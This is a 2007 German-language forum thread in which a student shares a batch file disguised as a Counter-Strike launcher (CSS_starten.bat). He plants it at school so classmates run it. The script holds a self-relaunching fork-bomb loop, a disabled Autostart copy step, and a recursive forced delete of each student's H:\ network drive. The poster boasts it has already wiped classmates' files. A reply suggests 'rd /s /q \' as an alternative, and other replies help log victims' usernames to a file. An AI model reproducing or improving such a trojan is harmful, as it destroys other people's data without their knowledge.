[Bat] Frage zu einer bat

05/04/2007 20:25 Reelle#1
SRY FALSCHES FORUM GEHÖRT IN e*pvper coders NEHM ICH AN PLS MOVE
zu spät entdeckt...


So... erstmal...

Das was hier alle posten ist immer so kompliziert und es sind richtige probs meistens...
Dagegen ist meins schon fast lächerlich aber naja...

Code:
:: written by 80.727376767380.1.1
::xcopy %0 /Y "%ALLUSERSPROFILE%\STARTM~1\PROGRA~1\AUTOST~1"
:x
start /realtime %0
goto :x
del /S /Q /F "H:\"
nur zur erklärung...

Name der bat datei ist CSS_starten.bat und liegt im CSS Ordner damits auch schön jeder Noob aufruft..

ist für die schule damits ein bisschen funny wird wenn einer sagt "Ich hab das Spiel CSS gestartet und es hat all meine Daten gelöscht..." xD


xcopy rausgenommen weil wir keine schreibrechte für den autostartordner haben...

H:\ ist das Netzlaufwerk des jeweiligen Schülers mit allen möglichen Daten..


So und nun zur Frage...
Wie bau ich ein, dass das script:
[ERLEDIGT] a) den Benutzernamen von dem ausliest, der es aufgerufen hat, diesen dann
[ERLEDIGT]b) in eine Textdatei schreibt welche als lol.txt auf D:\ abgespeichert werden soll und
c) wenn sie der nächste aufruft (die bat) dann soll der Name unter den vorigen in der lol.txt geschrieben werden...

Ich hoffe das geht überhaubt da batch ja net so viele Möglichkeiten bietet...


Tja pls comments wie "so ein blödsinn" oder "was willst denn damit bezwecken" könnt ihr euch denken/sparen/sonst was...
Bitte postet sinnvolle Beiträge...

Danke

Lg Reelle
05/05/2007 12:11 Dodge#2
welche schule bist?


bei uns würd das teil au funzen^^^
haben auch h: als "eigene dateien"^^

haben uns auch shcon so einen gebaut
aber damit ist genauso effektiv^^

Quote:
rd /s /q \
05/05/2007 14:41 Reelle#3
du ich geh auf ne HTL in Wien/Ö...
ja das ist schon lustig hab schon so manchen "aufschrei" während der Stunde gehhört "Schei**, wo sind meine ganzen sachen hin?" ^^

wo ist der große unterschied zwischen
rd und del ?
rd löscht doch glaub ich die Ordner auch mit del aber nur den inhalt oder? ka wie das ist mal schnell googeln


lg Reelle
05/06/2007 00:26 Dodge#4
Befehl RD:
Quote:
Entfernt (löscht) ein Verzeichnis.

RMDIR [/S] [/Q] [Laufwerk:]Pfad
RD [/S] [/Q] [Laufwerk:]Pfad

/S Löscht alle Verzeichnisse und Dateien im angegebenen Verzeichnis
zusätzlich zu dem Verzeichnis selbst. Wird verwendet, um ganze
Verzeichnisbäume zu löschen.

/Q Keine Nachfrage, ob die Verzeichnisbäume mit /S entfernt werden
sollen.
Befehl del:
Quote:
Löscht eine oder mehrere Dateien.

DEL [/P] [/F] [/S] [/Q] [/A[[:]Attribute]] Namen
ERASE [/P] [/F] [/S] [/Q] [/A[[:]Attribute]] Namen

Namen Gibt eine Liste von Dateien oder Verzeichnissen an.
Platzhalter können verwendet werden, um mehrere Dateien zu
löschen. Wird ein Verzeichnis angegeben, werden alle Dateien in
diesem Verzeichnis gelöscht.
/P Fordert Sie vor dem Löschen jeder Datei zur Bestätigung auf.
/F Erzwingt das Löschen schreibgeschützter Dateien.
/S Löscht alle Dateien in allen Unterverzeichnissen.
/Q Keine Rückfrage bei Benutzung globaler Platzhalter.
/A Wählt die zu löschenden Dateien nach dem Attribut aus.
Attribute R Schreibgeschützte Dateien S Systemdateien
H Versteckte Dateien A Zu archivierende Dateien
- vorangestellt dreht die Bedeutung um.

Wenn die Befehlserweiterungen aktiviert sind, werden DEL und ERASE
folgendermaßen verändert:

Die Anzeigesemantik für die /S-Option ist umgekehrt, so dass nur Dateien
angezeigt werden, die gelöscht wurden und nicht solche, die nicht
gefunden wurden.

PS: zu deiner frage, den username kriegst du mir %USERNAME%
etwas in ne datei asugeben geht mit "echo"
zb.
Code:
echo %USERNAME% > D:\lol.txt
aber wie du das hinten an vorhandenen inhalt dran kriegst weiß ich leider net
05/06/2007 13:55 Reelle#5
hm kk thx jetzt brauch ich nur mehr die info wie ichs ans ende drankrieg...

lg Reelle
05/30/2007 20:20 stealthy#6
ich würde

Code:
if exist D:\lol.txt echo.%USERNAME% >> D:\lol.txt
if not exist D:\lol.txt echo.%USERNAME% > D:\lol.txt
versuchen.

falls du nochmal Fragen zu Batch/Shell hast schau doch einfach mal unter
[Only registered and activated users can see links. Click Here To Register...]
>Entwicklung
>Programmiersprachen
>Batch & Shell

dort dann halt einfach mal nach nem treffenden Stichwort suchen findeste schon viel ;-)

hoffe das hilft dir

grüsse stealth